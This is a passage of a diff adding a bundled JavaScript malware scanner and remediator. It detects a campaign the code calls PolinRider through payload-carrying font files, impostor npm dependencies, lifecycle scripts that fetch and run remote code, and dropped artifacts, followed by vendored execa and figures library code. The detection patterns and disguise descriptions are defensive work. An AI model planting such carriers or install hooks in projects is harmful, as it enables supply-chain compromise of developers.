+ const parts = path3.relative(repoDir, fontAbsPath).split(path3.sep); + const idx = parts.lastIndexOf("fonts"); + if (idx >= 0) return path3.join(repoDir, ...parts.slice(0, idx + 1)); + return null; +} +async function detectFonts(repoDir, findings, rel, isExcluded) { + const fontFiles = await collectByExtension(repoDir, FONT_EXTENSIONS); + if (fontFiles.length === 0) return; + const haystack = await collectFontReferences(repoDir); + const groups = /* @__PURE__ */ new Map(); + const orphans = []; + const ensureGroup = (dir) => { + if (!groups.has(dir)) groups.set(dir, { confirmed: [], suspect: [] }); + return groups.get(dir); + }; + for (const file of fontFiles) { + if (isExcluded(file)) continue; + const isFa = isFaFamilyName(path3.basename(file)); + let susp; + try { + susp = looksSuspicious(await fs3.readFile(file), path3.extname(file)); + } catch { + continue; + } + const referenced = isReferenced(haystack, file); + const isCarrier = susp.bad && susp.hasCodeStrings; + const dir = fontDirToRemove(repoDir, file); + if (referenced) { + if (isCarrier) { + findings.push({ + id: "font.referenced-carrier", + category: "font", + file: rel(file), + confidence: "high", + action: "manual-review", + contentConfirmed: false, + description: `Referenced file that is not a valid font but contains a code payload (${susp.reasons.join("; ")}). It is imported by the build, so it is not auto-removed \u2014 review and remove it manually.`, + }); + } + if (isFa && dir) ensureGroup(dir); + continue; + } + if (!susp.bad && !isFa) continue; + const entry = { file, reasons: susp.reasons }; + if (dir) { + const g = ensureGroup(dir); + if (isCarrier) g.confirmed.push(entry); + else if (susp.bad) g.suspect.push(entry); + } else if (isCarrier) { + orphans.push({ ...entry, kind: "carrier" }); + } else if (susp.bad || isFa) { + orphans.push({ ...entry, kind: "review", isFa }); + } + } + for (const [dir, group] of groups) { + await emitFontDirFinding(dir, group, findings, rel, isExcluded); + } + for (const o2 of orphans) { + if (o2.kind === "carrier") { + findings.push({ + id: "font.carrier", + category: "font", + file: rel(o2.file), + confidence: "high", + action: "delete-font", + contentConfirmed: true, + description: `Unreferenced font carrier (JS payload): ${o2.reasons.join("; ")}`, + edit: { absPath: o2.file }, + }); + } else { + findings.push({ + id: "font.review", + category: "font", + file: rel(o2.file), + confidence: "low", + action: "manual-review", + contentConfirmed: false, + description: o2.isFa + ? "Font-Awesome-named font (a known PolinRider disguise) with no payload detected \u2014 review manually." + : `Unreferenced file that is not a valid font (${o2.reasons.join("; ")}) \u2014 review manually.`, + }); + } + } +} +async function listTree(dir) { + const allEntries = []; + const regularFiles = []; + const rec = async (d) => { + let entries; + try { + entries = await fs3.readdir(d, { withFileTypes: true }); + } catch { + return; + } + for (const ent of entries) { + const full = path3.join(d, ent.name); + allEntries.push(full); + if (ent.isSymbolicLink()) continue; + if (ent.isDirectory()) await rec(full); + else if (ent.isFile()) regularFiles.push(full); + } + }; + await rec(dir); + return { allEntries, regularFiles }; +} +async function emitFontDirFinding(dir, group, findings, rel, isExcluded) { + const { allEntries, regularFiles } = await listTree(dir); + const faAll = regularFiles.filter( + (f) => !isExcluded(f) && isFaFamilyName(path3.basename(f)), + ); + if (group.confirmed.length > 0) { + const carrierReasons = [ + ...new Set(group.confirmed.flatMap((e) => e.reasons)), + ].join("; "); + const carrierDirs = new Set( + group.confirmed.map((e) => path3.dirname(e.file)), + ); + const inScope = (f) => carrierDirs.has(path3.dirname(f)) && !isExcluded(f); + const faFiles = faAll.filter(inScope); + const sidecars = regularFiles.filter( + (f) => inScope(f) && isFontDropSidecar(path3.basename(f)), + ); + const removalAbs = /* @__PURE__ */ new Set([ + ...group.confirmed.map((e) => e.file), + ...faFiles, + ...sidecars, + ]); + const remaining = allEntries.filter((f) => !removalAbs.has(f)); + if (remaining.length === 0) { + findings.push({ + id: "font.carrier-dir", + category: "font", + file: rel(dir), + confidence: "high", + action: "remove-dir", + contentConfirmed: true, + description: `Font carrier(s) found \u2014 removing the entire ${rel(dir)} directory (${carrierReasons})`, + edit: { absPath: dir }, + }); + } else { + const removals = [...removalAbs].map((abs) => ({ abs, rel: rel(abs) })); + findings.push({ + id: "font.carrier-set", + category: "font", + file: rel(dir), + confidence: "high", + action: "remove-font-set", + contentConfirmed: true, + description: `Font carrier(s) in ${rel(dir)} (${carrierReasons}) \u2014 removing ${removals.length} malicious/disguise file(s): ${removals.map((r) => path3.basename(r.rel)).join(", ")}. Preserving ${remaining.length} clean entr${remaining.length === 1 ? "y" : "ies"}.`, + edit: { removals }, + }); + } + return; + } + const bits = []; + if (faAll.length) { + bits.push( + `Font-Awesome-named font(s) present (${faAll.map((f) => path3.basename(f)).join(", ")}) \u2014 a known PolinRider disguise`, + ); + } + if (group.suspect.length) { + bits.push( + `unrecognized non-font file(s): ${group.suspect.map((e) => path3.basename(e.file)).join(", ")}`, + ); + } + if (bits.length === 0) return; + findings.push({ + id: "font.review", + category: "font", + file: rel(dir), + confidence: "low", + action: "manual-review", + contentConfirmed: false, + description: `${bits.join("; ")}. No payload detected \u2014 review manually to confirm these are legitimate.`, + }); +} +async function detectPackageJson(repoDir, findings, isExcluded) { + const file = path3.join(repoDir, "package.json"); + if (!existsSync(file) || isExcluded(file)) return; + let pkg; + try { + pkg = JSON.parse(await fs3.readFile(file, "utf8")); + } catch { + return; + } + const depSections = [ + "dependencies", + "devDependencies", + "optionalDependencies", + "peerDependencies", + ]; + const impostors = /* @__PURE__ */ new Set(); + for (const section of depSections) { + const deps = pkg[section]; + if (!deps || typeof deps !== "object") continue; + for (const name of Object.keys(deps)) { + if (IMPOSTOR_DEPS.includes(name)) impostors.add(name); + } + } + if (impostors.size > 0) { + findings.push({ + id: "package.impostor-deps", + category: "package", + file: "package.json", + confidence: "high", + action: "manual-review", + contentConfirmed: true, + description: `Known PolinRider impostor dependenc${impostors.size === 1 ? "y" : "ies"}: ${[...impostors].join(", ")}. Remove the package(s) and audit lockfiles manually.`, + }); + } + const scripts = + pkg.scripts && typeof pkg.scripts === "object" ? pkg.scripts : {}; + for (const hook of SUSPICIOUS_LIFECYCLE_SCRIPTS) { + const cmd = scripts[hook]; + if ( + typeof cmd === "string" && + (isFetchToShell(cmd) || /\bnode\b\s+-e\b/i.test(cmd)) + ) { + findings.push({ + id: `package.script.${hook}`, + category: "package", + file: "package.json", + confidence: "high", + action: "manual-review", + contentConfirmed: true, + description: `"${hook}" lifecycle script fetches and executes remote code: ${cmd}`, + }); + } + } +} +async function detectArtifacts(repoDir, findings, isExcluded) { + for (const name of ARTIFACT_FILES) { + if ( + existsSync(path3.join(repoDir, name)) && + !isExcluded(path3.join(repoDir, name)) + ) { + findings.push({ + id: `artifact.${name}`, + category: "artifact", + file: name, + confidence: "high", + action: "remove-artifact", + contentConfirmed: true, + description: + name === "config.bat" + ? "Hidden malware orchestrator" + : "Malware propagation script", + edit: { absPath: path3.join(repoDir, name) }, + }); + } + } + const gitignore = path3.join(repoDir, ".gitignore"); + if (existsSync(gitignore) && !isExcluded(gitignore)) { + try { + const lines = (await fs3.readFile(gitignore, "utf8")) + .split(/\r?\n/) + .map((l) => l.trim()); + const injected = GITIGNORE_INJECTED.filter((p) => lines.includes(p)); + if (injected.length) { + findings.push({ + id: "gitignore.injected", + category: "gitignore", + file: ".gitignore", + confidence: "high", + action: "fix-gitignore", + contentConfirmed: true, + description: `malware-injected .gitignore entr${injected.length === 1 ? "y" : "ies"}: ${injected.join(", ")}`, + }); + } + } catch {} + } +} + +// src/remediator.js +import fs4 from "node:fs/promises"; +import { existsSync as existsSync2 } from "node:fs"; +import path9 from "node:path"; + +// node_modules/is-plain-obj/index.js +function isPlainObject(value) { + if (typeof value !== "object" || value === null) { + return false; + } + const prototype = Object.getPrototypeOf(value); + return ( + (prototype === null || + prototype === Object.prototype || + Object.getPrototypeOf(prototype) === null) && + !(Symbol.toStringTag in value) && + !(Symbol.iterator in value) + ); +} + +// node_modules/execa/lib/arguments/file-url.js +import { fileURLToPath } from "node:url"; +var safeNormalizeFileUrl = (file, name) => { + const fileString = normalizeFileUrl(normalizeDenoExecPath(file)); + if (typeof fileString !== "string") { + throw new TypeError( + `${name} must be a string or a file URL: ${fileString}.`, + ); + } + return fileString; +}; +var normalizeDenoExecPath = (file) => + isDenoExecPath(file) ? file.toString() : file; +var isDenoExecPath = (file) => + typeof file !== "string" && + file && + Object.getPrototypeOf(file) === String.prototype; +var normalizeFileUrl = (file) => + file instanceof URL ? fileURLToPath(file) : file; + +// node_modules/execa/lib/methods/parameters.js +var normalizeParameters = (rawFile, rawArguments = [], rawOptions = {}) => { + const filePath = safeNormalizeFileUrl(rawFile, "First argument"); + const [commandArguments, options] = isPlainObject(rawArguments) + ? [[], rawArguments] + : [rawArguments, rawOptions]; + if (!Array.isArray(commandArguments)) { + throw new TypeError( + `Second argument must be either an array of arguments or an options object: ${commandArguments}`, + ); + } + if ( + commandArguments.some( + (commandArgument) => + typeof commandArgument === "object" && commandArgument !== null, + ) + ) { + throw new TypeError( + `Second argument must be an array of strings: ${commandArguments}`, + ); + } + const normalizedArguments = commandArguments.map(String); + const nullByteArgument = normalizedArguments.find((normalizedArgument) => + normalizedArgument.includes("\0"), + ); + if (nullByteArgument !== void 0) { + throw new TypeError( + `Arguments cannot contain null bytes ("\\0"): ${nullByteArgument}`, + ); + } + if (!isPlainObject(options)) { + throw new TypeError(`Last argument must be an options object: ${options}`); + } + return [filePath, normalizedArguments, options]; +}; + +// node_modules/execa/lib/methods/template.js +import { ChildProcess } from "node:child_process"; + +// node_modules/execa/lib/utils/uint-array.js +import { StringDecoder } from "node:string_decoder"; +var { toString: objectToString } = Object.prototype; +var isArrayBuffer = (value) => + objectToString.call(value) === "[object ArrayBuffer]"; +var isUint8Array = (value) => + objectToString.call(value) === "[object Uint8Array]"; +var bufferToUint8Array = (buffer) => + new Uint8Array(buffer.buffer, buffer.byteOffset, buffer.byteLength); +var textEncoder = new TextEncoder(); +var stringToUint8Array = (string) => textEncoder.encode(string); +var textDecoder = new TextDecoder(); +var uint8ArrayToString = (uint8Array) => textDecoder.decode(uint8Array); +var joinToString = (uint8ArraysOrStrings, encoding) => { + const strings = uint8ArraysToStrings(uint8ArraysOrStrings, encoding); + return strings.join(""); +}; +var uint8ArraysToStrings = (uint8ArraysOrStrings, encoding) => { + if ( + encoding === "utf8" && + uint8ArraysOrStrings.every( + (uint8ArrayOrString) => typeof uint8ArrayOrString === "string", + ) + ) { + return uint8ArraysOrStrings; + } + const decoder = new StringDecoder(encoding); + const strings = uint8ArraysOrStrings + .map((uint8ArrayOrString) => + typeof uint8ArrayOrString === "string" + ? stringToUint8Array(uint8ArrayOrString) + : uint8ArrayOrString, + ) + .map((uint8Array) => decoder.write(uint8Array)); + const finalString = decoder.end(); + return finalString === "" ? strings : [...strings, finalString]; +}; +var joinToUint8Array = (uint8ArraysOrStrings) => { + if ( + uint8ArraysOrStrings.length === 1 && + isUint8Array(uint8ArraysOrStrings[0]) + ) { + return uint8ArraysOrStrings[0]; + } + return concatUint8Arrays(stringsToUint8Arrays(uint8ArraysOrStrings)); +}; +var stringsToUint8Arrays = (uint8ArraysOrStrings) => + uint8ArraysOrStrings.map((uint8ArrayOrString) => + typeof uint8ArrayOrString === "string" + ? stringToUint8Array(uint8ArrayOrString) + : uint8ArrayOrString, + ); +var concatUint8Arrays = (uint8Arrays) => { + const result = new Uint8Array(getJoinLength(uint8Arrays)); + let index = 0; + for (const uint8Array of uint8Arrays) { + result.set(uint8Array, index); + index += uint8Array.length; + } + return result; +}; +var getJoinLength = (uint8Arrays) => { + let joinLength = 0; + for (const uint8Array of uint8Arrays) { + joinLength += uint8Array.length; + } + return joinLength; +}; + +// node_modules/execa/lib/methods/template.js +var isTemplateString = (templates) => + Array.isArray(templates) && Array.isArray(templates.raw); +var parseTemplates = (templates, expressions) => { + let tokens = []; + for (const [index, template] of templates.entries()) { + tokens = parseTemplate({ + templates, + expressions, + tokens, + index, + template, + }); + } + if (tokens.length === 0) { + throw new TypeError("Template script must not be empty"); + } + const [file, ...commandArguments] = tokens; + return [file, commandArguments, {}]; +}; +var parseTemplate = ({ templates, expressions, tokens, index, template }) => { + if (template === void 0) { + throw new TypeError(`Invalid backslash sequence: ${templates.raw[index]}`); + } + const { nextTokens, leadingWhitespaces, trailingWhitespaces } = + splitByWhitespaces(template, templates.raw[index]); + const newTokens = concatTokens(tokens, nextTokens, leadingWhitespaces); + if (index === expressions.length) { + return newTokens; + } + const expression = expressions[index]; + const expressionTokens = Array.isArray(expression) + ? expression.map((expression2) => parseExpression(expression2)) + : [parseExpression(expression)]; + return concatTokens(newTokens, expressionTokens, trailingWhitespaces); +}; +var splitByWhitespaces = (template, rawTemplate) => { + if (rawTemplate.length === 0) { + return { + nextTokens: [], + leadingWhitespaces: false, + trailingWhitespaces: false, + }; + } + const nextTokens = []; + let templateStart = 0; + const leadingWhitespaces = DELIMITERS.has(rawTemplate[0]); + for ( + let templateIndex = 0, rawIndex = 0; + templateIndex < template.length; + templateIndex += 1, rawIndex += 1 + ) { + const rawCharacter = rawTemplate[rawIndex]; + if (DELIMITERS.has(rawCharacter)) { + if (templateStart !== templateIndex) { + nextTokens.push(template.slice(templateStart, templateIndex)); + } + templateStart = templateIndex + 1; + } else if (rawCharacter === "\\") { + const nextRawCharacter = rawTemplate[rawIndex + 1]; + if (nextRawCharacter === "\n") { + templateIndex -= 1; + rawIndex += 1; + } else if ( + nextRawCharacter === "u" && + rawTemplate[rawIndex + 2] === "{" + ) { + rawIndex = rawTemplate.indexOf("}", rawIndex + 3); + } else { + rawIndex += ESCAPE_LENGTH[nextRawCharacter] ?? 1; + } + } + } + const trailingWhitespaces = templateStart === template.length; + if (!trailingWhitespaces) { + nextTokens.push(template.slice(templateStart)); + } + return { nextTokens, leadingWhitespaces, trailingWhitespaces }; +}; +var DELIMITERS = /* @__PURE__ */ new Set([" ", " ", "\r", "\n"]); +var ESCAPE_LENGTH = { x: 3, u: 5 }; +var concatTokens = (tokens, nextTokens, isSeparated) => + isSeparated || tokens.length === 0 || nextTokens.length === 0 + ? [...tokens, ...nextTokens] + : [ + ...tokens.slice(0, -1), + `${tokens.at(-1)}${nextTokens[0]}`, + ...nextTokens.slice(1), + ]; +var parseExpression = (expression) => { + const typeOfExpression = typeof expression; + if (typeOfExpression === "string") { + return expression; + } + if (typeOfExpression === "number") { + return String(expression); + } + if ( + isPlainObject(expression) && + ("stdout" in expression || "isMaxBuffer" in expression) + ) { + return getSubprocessResult(expression); + } + if ( + expression instanceof ChildProcess || + Object.prototype.toString.call(expression) === "[object Promise]" + ) { + throw new TypeError( + "Unexpected subprocess in template expression. Please use ${await subprocess} instead of ${subprocess}.", + ); + } + throw new TypeError( + `Unexpected "${typeOfExpression}" in template expression`, + ); +}; +var getSubprocessResult = ({ stdout }) => { + if (typeof stdout === "string") { + return stdout; + } + if (isUint8Array(stdout)) { + return uint8ArrayToString(stdout); + } + if (stdout === void 0) { + throw new TypeError( + `Missing result.stdout in template expression. This is probably due to the previous subprocess' "stdout" option.`, + ); + } + throw new TypeError( + `Unexpected "${typeof stdout}" stdout in template expression`, + ); +}; + +// node_modules/execa/lib/methods/main-sync.js +import { spawnSync } from "node:child_process"; + +// node_modules/execa/lib/arguments/specific.js +import { debuglog } from "node:util"; + +// node_modules/execa/lib/utils/standard-stream.js +import process2 from "node:process"; +var isStandardStream = (stream) => STANDARD_STREAMS.includes(stream); +var STANDARD_STREAMS = [process2.stdin, process2.stdout, process2.stderr]; +var STANDARD_STREAMS_ALIASES = ["stdin", "stdout", "stderr"]; +var getStreamName = (fdNumber) => + STANDARD_STREAMS_ALIASES[fdNumber] ?? `stdio[${fdNumber}]`; + +// node_modules/execa/lib/arguments/specific.js +var normalizeFdSpecificOptions = (options) => { + const optionsCopy = { ...options }; + for (const optionName of FD_SPECIFIC_OPTIONS) { + optionsCopy[optionName] = normalizeFdSpecificOption(options, optionName); + } + return optionsCopy; +}; +var normalizeFdSpecificOption = (options, optionName) => { + const optionBaseArray = Array.from({ length: getStdioLength(options) + 1 }); + const optionArray = normalizeFdSpecificValue( + options[optionName], + optionBaseArray, + optionName, + ); + return addDefaultValue(optionArray, optionName); +}; +var getStdioLength = ({ stdio }) => + Array.isArray(stdio) + ? Math.max(stdio.length, STANDARD_STREAMS_ALIASES.length) + : STANDARD_STREAMS_ALIASES.length; +var normalizeFdSpecificValue = (optionValue, optionArray, optionName) => + isPlainObject(optionValue) + ? normalizeOptionObject(optionValue, optionArray, optionName) + : optionArray.fill(optionValue); +var normalizeOptionObject = (optionValue, optionArray, optionName) => { + for (const fdName of Object.keys(optionValue).sort(compareFdName)) { + for (const fdNumber of parseFdName(fdName, optionName, optionArray)) { + optionArray[fdNumber] = optionValue[fdName]; + } + } + return optionArray; +}; +var compareFdName = (fdNameA, fdNameB) => + getFdNameOrder(fdNameA) < getFdNameOrder(fdNameB) ? 1 : -1; +var getFdNameOrder = (fdName) => { + if (fdName === "stdout" || fdName === "stderr") { + return 0; + } + return fdName === "all" ? 2 : 1; +}; +var parseFdName = (fdName, optionName, optionArray) => { + if (fdName === "ipc") { + return [optionArray.length - 1]; + } + const fdNumber = parseFd(fdName); + if (fdNumber === void 0 || fdNumber === 0) { + throw new TypeError(`"${optionName}.${fdName}" is invalid. +It must be "${optionName}.stdout", "${optionName}.stderr", "${optionName}.all", "${optionName}.ipc", or "${optionName}.fd3", "${optionName}.fd4" (and so on).`); + } + if (fdNumber >= optionArray.length) { + throw new TypeError(`"${optionName}.${fdName}" is invalid: that file descriptor does not exist. +Please set the "stdio" option to ensure that file descriptor exists.`); + } + return fdNumber === "all" ? [1, 2] : [fdNumber]; +}; +var parseFd = (fdName) => { + if (fdName === "all") { + return fdName; + } + if (STANDARD_STREAMS_ALIASES.includes(fdName)) { + return STANDARD_STREAMS_ALIASES.indexOf(fdName); + } + const regexpResult = FD_REGEXP.exec(fdName); + if (regexpResult !== null) { + return Number(regexpResult[1]); + } +}; +var FD_REGEXP = /^fd(\d+)$/; +var addDefaultValue = (optionArray, optionName) => + optionArray.map((optionValue) => + optionValue === void 0 ? DEFAULT_OPTIONS[optionName] : optionValue, + ); +var verboseDefault = debuglog("execa").enabled ? "full" : "none"; +var DEFAULT_OPTIONS = { + lines: false, + buffer: true, + maxBuffer: 1e3 * 1e3 * 100, + verbose: verboseDefault, + stripFinalNewline: true, +}; +var FD_SPECIFIC_OPTIONS = [ + "lines", + "buffer", + "maxBuffer", + "verbose", + "stripFinalNewline", +]; +var getFdSpecificValue = (optionArray, fdNumber) => + fdNumber === "ipc" ? optionArray.at(-1) : optionArray[fdNumber]; + +// node_modules/execa/lib/verbose/values.js +var isVerbose = ({ verbose }, fdNumber) => + getFdVerbose(verbose, fdNumber) !== "none"; +var isFullVerbose = ({ verbose }, fdNumber) => + !["none", "short"].includes(getFdVerbose(verbose, fdNumber)); +var getVerboseFunction = ({ verbose }, fdNumber) => { + const fdVerbose = getFdVerbose(verbose, fdNumber); + return isVerboseFunction(fdVerbose) ? fdVerbose : void 0; +}; +var getFdVerbose = (verbose, fdNumber) => + fdNumber === void 0 + ? getFdGenericVerbose(verbose) + : getFdSpecificValue(verbose, fdNumber); +var getFdGenericVerbose = (verbose) => + verbose.find((fdVerbose) => isVerboseFunction(fdVerbose)) ?? + VERBOSE_VALUES.findLast((fdVerbose) => verbose.includes(fdVerbose)); +var isVerboseFunction = (fdVerbose) => typeof fdVerbose === "function"; +var VERBOSE_VALUES = ["none", "short", "full"]; + +// node_modules/execa/lib/verbose/log.js +import { inspect } from "node:util"; + +// node_modules/execa/lib/arguments/escape.js +import { platform } from "node:process"; +import { stripVTControlCharacters } from "node:util"; +var joinCommand = (filePath, rawArguments) => { + const fileAndArguments = [filePath, ...rawArguments]; + const command = fileAndArguments.join(" "); + const escapedCommand = fileAndArguments + .map((fileAndArgument) => + quoteString(escapeControlCharacters(fileAndArgument)), + ) + .join(" "); + return { command, escapedCommand }; +}; +var escapeLines = (lines) => + stripVTControlCharacters(lines) + .split("\n") + .map((line) => escapeControlCharacters(line)) + .join("\n"); +var escapeControlCharacters = (line) => + line.replaceAll(SPECIAL_CHAR_REGEXP, (character) => + escapeControlCharacter(character), + ); +var escapeControlCharacter = (character) => { + const commonEscape = COMMON_ESCAPES[character]; + if (commonEscape !== void 0) { + return commonEscape; + } + const codepoint = character.codePointAt(0); + const codepointHex = codepoint.toString(16); + return codepoint <= ASTRAL_START + ? `\\u${codepointHex.padStart(4, "0")}` + : `\\U${codepointHex}`; +}; +var getSpecialCharRegExp = () => { + try { + return new RegExp("\\p{Separator}|\\p{Other}", "gu"); + } catch { + return /[\s\u0000-\u001F\u007F-\u009F\u00AD]/g; + } +}; +var SPECIAL_CHAR_REGEXP = getSpecialCharRegExp(); +var COMMON_ESCAPES = { + " ": " ", + "\b": "\\b", + "\f": "\\f", + "\n": "\\n", + "\r": "\\r", + " ": "\\t", +}; +var ASTRAL_START = 65535; +var quoteString = (escapedArgument) => { + if (NO_ESCAPE_REGEXP.test(escapedArgument)) { + return escapedArgument; + } + return platform === "win32" + ? `"${escapedArgument.replaceAll('"', '""')}"` + : `'${escapedArgument.replaceAll("'", "'\\''")}'`; +}; +var NO_ESCAPE_REGEXP = /^[\w./-]+$/; + +// node_modules/is-unicode-supported/index.js +import process3 from "node:process"; +function isUnicodeSupported() { + const { env } = process3; + const { TERM, TERM_PROGRAM } = env; + if (process3.platform !== "win32") { + return TERM !== "linux"; + } + return ( + Boolean(env.WT_SESSION) || + Boolean(env.TERMINUS_SUBLIME) || + env.ConEmuTask === "{cmd::Cmder}" || + TERM_PROGRAM === "Terminus-Sublime" || + TERM_PROGRAM === "vscode" || + TERM === "xterm-256color" || + TERM === "alacritty" || + TERM === "rxvt-unicode" || + TERM === "rxvt-unicode-256color" || + env.TERMINAL_EMULATOR === "JetBrains-JediTerm" + ); +} + +// node_modules/figures/index.js +var common = { + circleQuestionMark: "(?)", + questionMarkPrefix: "(?)", + square: "\u2588", + squareDarkShade: "\u2593", + squareMediumShade: "\u2592", + squareLightShade: "\u2591", + squareTop: "\u2580", + squareBottom: "\u2584", + squareLeft: "\u258C", + squareRight: "\u2590", + squareCenter: "\u25A0", + bullet: "\u25CF", + dot: "\u2024", + ellipsis: "\u2026", + pointerSmall: "\u203A", + triangleUp: "\u25B2", + triangleUpSmall: "\u25B4", + triangleDown: "\u25BC", + triangleDownSmall: "\u25BE", + triangleLeftSmall: "\u25C2", + triangleRightSmall: "\u25B8", + home: "\u2302", + heart: "\u2665", + musicNote: "\u266A", + musicNoteBeamed: "\u266B", + arrowUp: "\u2191", + arrowDown: "\u2193", + arrowLeft: "\u2190", + arrowRight: "\u2192", + arrowLeftRight: "\u2194", + arrowUpDown: "\u2195", + almostEqual: "\u2248", + notEqual: "\u2260", + lessOrEqual: "\u2264", + greaterOrEqual: "\u2265", + identical: "\u2261", + infinity: "\u221E", + subscriptZero: "\u2080", + subscriptOne: "\u2081", + subscriptTwo: "\u2082", + subscriptThree: "\u2083", + subscriptFour: "\u2084", + subscriptFive: "\u2085", + subscriptSix: "\u2086", + subscriptSeven: "\u2087", + subscriptEight: "\u2088", + subscriptNine: "\u2089", + oneHalf: "\xBD", + oneThird: "\u2153", + oneQuarter: "\xBC", + oneFifth: "\u2155", + oneSixth: "\u2159", + oneEighth: "\u215B", + twoThirds: "\u2154", + twoFifths: "\u2156", + threeQuarters: "\xBE", + threeFifths: "\u2157", + threeEighths: "\u215C", + fourFifths: "\u2158", + fiveSixths: "\u215A", + fiveEighths: "\u215D", + sevenEighths: "\u215E", + line: "\u2500", + lineBold: "\u2501", + lineDouble: "\u2550", + lineDashed0: "\u2504", + lineDashed1: "\u2505", + lineDashed2: "\u2508", + lineDashed3: "\u2509", + lineDashed4: "\u254C", + lineDashed5: "\u254D", + lineDashed6: "\u2574", + lineDashed7: "\u2576", + lineDashed8: "\u2578", + lineDashed9: "\u257A", + lineDashed10: "\u257C", + lineDashed11: "\u257E", + lineDashed12: "\u2212", + lineDashed13: "\u2013", + lineDashed14: "\u2010", + lineDashed15: "\u2043", + lineVertical: "\u2502", + lineVerticalBold: "\u2503", + lineVerticalDouble: "\u2551", + lineVerticalDashed0: "\u2506", + lineVerticalDashed1: "\u2507", + lineVerticalDashed2: "\u250A", + lineVerticalDashed3: "\u250B", + lineVerticalDashed4: "\u254E", + lineVerticalDashed5: "\u254F", + lineVerticalDashed6: "\u2575", + lineVerticalDashed7: "\u2577", + lineVerticalDashed8: "\u2579", + lineVerticalDashed9: "\u257B", + lineVerticalDashed10: "\u257D", + lineVerticalDashed11: "\u257F", + lineDownLeft: "\u2510", + lineDownLeftArc: "\u256E", + lineDownBoldLeftBold: "\u2513", + lineDownBoldLeft: "\u2512", + lineDownLeftBold: "\u2511", + lineDownDoubleLeftDouble: "\u2557", + lineDownDoubleLeft: "\u2556", + lineDownLeftDouble: "\u2555", + lineDownRight: "\u250C", + lineDownRightArc: "\u256D", + lineDownBoldRightBold: "\u250F", + lineDownBoldRight: "\u250E", + lineDownRightBold: "\u250D", + lineDownDoubleRightDouble: "\u2554", + lineDownDoubleRight: "\u2553", + lineDownRightDouble: "\u2552", + lineUpLeft: "\u2518", + lineUpLeftArc: "\u256F", + lineUpBoldLeftBold: "\u251B", + lineUpBoldLeft: "\u251A", + lineUpLeftBold: "\u2519", + lineUpDoubleLeftDouble: "\u255D", + lineUpDoubleLeft: "\u255C", + lineUpLeftDouble: "\u255B", + lineUpRight: "\u2514", + lineUpRightArc: "\u2570", + lineUpBoldRightBold: "\u2517", + lineUpBoldRight: "\u2516", + lineUpRightBold: "\u2515", + lineUpDoubleRightDouble: "\u255A", + lineUpDoubleRight: "\u2559", + lineUpRightDouble: "\u2558", + lineUpDownLeft: "\u2524", + lineUpBoldDownBoldLeftBold: "\u252B", + lineUpBoldDownBoldLeft: "\u2528", + lineUpDownLeftBold: "\u2525", + lineUpBoldDownLeftBold: "\u2529", + lineUpDownBoldLeftBold: "\u252A", + lineUpDownBoldLeft: "\u2527", + lineUpBoldDownLeft: "\u2526", + lineUpDoubleDownDoubleLeftDouble: "\u2563", + lineUpDoubleDownDoubleLeft: "\u2562", + lineUpDownLeftDouble: "\u2561", + lineUpDownRight: "\u251C", + lineUpBoldDownBoldRightBold: "\u2523", + lineUpBoldDownBoldRight: "\u2520", + lineUpDownRightBold: "\u251D", + lineUpBoldDownRightBold: "\u2521", + lineUpDownBoldRightBold: "\u2522", + lineUpDownBoldRight: "\u251F", + lineUpBoldDownRight: "\u251E", + lineUpDoubleDownDoubleRightDouble: "\u2560", + lineUpDoubleDownDoubleRight: "\u255F", + lineUpDownRightDouble: "\u255E", + lineDownLeftRight: "\u252C", + lineDownBoldLeftBoldRightBold: "\u2533", + lineDownLeftBoldRightBold: "\u252F", + lineDownBoldLeftRight: "\u2530", + lineDownBoldLeftBoldRight: "\u2531", + lineDownBoldLeftRightBold: "\u2532", + lineDownLeftRightBold: "\u252E", + lineDownLeftBoldRight: "\u252D", + lineDownDoubleLeftDoubleRightDouble: "\u2566", + lineDownDoubleLeftRight: "\u2565", + lineDownLeftDoubleRightDouble: "\u2564", + lineUpLeftRight: "\u2534", + lineUpBoldLeftBoldRightBold: "\u253B", + lineUpLeftBoldRightBold: "\u2537", + lineUpBoldLeftRight: "\u2538", + lineUpBoldLeftBoldRight: "\u2539", + lineUpBoldLeftRightBold: "\u253A", + lineUpLeftRightBold: "\u2536", + lineUpLeftBoldRight: "\u2535", + lineUpDoubleLeftDoubleRightDouble: "\u2569", + lineUpDoubleLeftRight: "\u2568", + lineUpLeftDoubleRightDouble: "\u2567", + lineUpDownLeftRight: "\u253C", + lineUpBoldDownBoldLeftBoldRightBold: "\u254B", + lineUpDownBoldLeftBoldRightBold: "\u2548", + lineUpBoldDownLeftBoldRightBold: "\u2547", + lineUpBoldDownBoldLeftRightBold: "\u254A", + lineUpBoldDownBoldLeftBoldRight: "\u2549", + lineUpBoldDownLeftRight: "\u2540", + lineUpDownBoldLeftRight: "\u2541", + lineUpDownLeftBoldRight: "\u253D", + lineUpDownLeftRightBold: "\u253E", + lineUpBoldDownBoldLeftRight: "\u2542", + lineUpDownLeftBoldRightBold: "\u253F", + lineUpBoldDownLeftBoldRight: "\u2543", + lineUpBoldDownLeftRightBold: "\u2544", + lineUpDownBoldLeftBoldRight: "\u2545", + lineUpDownBoldLeftRightBold: "\u2546", + lineUpDoubleDownDoubleLeftDoubleRightDouble: "\u256C", + lineUpDoubleDownDoubleLeftRight: "\u256B", + lineUpDownLeftDoubleRightDouble: "\u256A", + lineCross: "\u2573", + lineBackslash: "\u2572", + lineSlash: "\u2571", +}; +var specialMainSymbols = { + tick: "\u2714", + info: "\u2139", + warning: "\u26A0", + cross: "\u2718", + squareSmall: "\u25FB", + squareSmallFilled: "\u25FC", + circle: "\u25EF", + circleFilled: "\u25C9", + circleDotted: "\u25CC", + circleDouble: "\u25CE", + circleCircle: "\u24DE", + circleCross: "\u24E7", + circlePipe: "\u24BE", + radioOn: "\u25C9", + radioOff: "\u25EF", + checkboxOn: "\u2612", + checkboxOff: "\u2610", + checkboxCircleOn: "\u24E7", + checkboxCircleOff: "\u24BE", + pointer: "\u276F", + triangleUpOutline: "\u25B3", + triangleLeft: "\u25C0", + triangleRight: "\u25B6", + lozenge: "\u25C6", + lozengeOutline: "\u25C7", + hamburger: "\u2630", + smiley: "\u32E1", + mustache: "\u0DF4", + star: "\u2605", + play: "\u25B6", + nodejs: "\u2B22", + oneSeventh: "\u2150", + oneNinth: "\u2151", + oneTenth: "\u2152", +}; +var specialFallbackSymbols = { + tick: "\u221A", + info: "i", + warning: "\u203C", + cross: "\xD7", + squareSmall: "\u25A1", + squareSmallFilled: "\u25A0", + circle: "( )", + circleFilled: "(*)", + circleDotted: "( )", + circleDouble: "( )", + circleCircle: "(\u25CB)", + circleCross: "(\xD7)", + circlePipe: "(\u2502)", + radioOn: 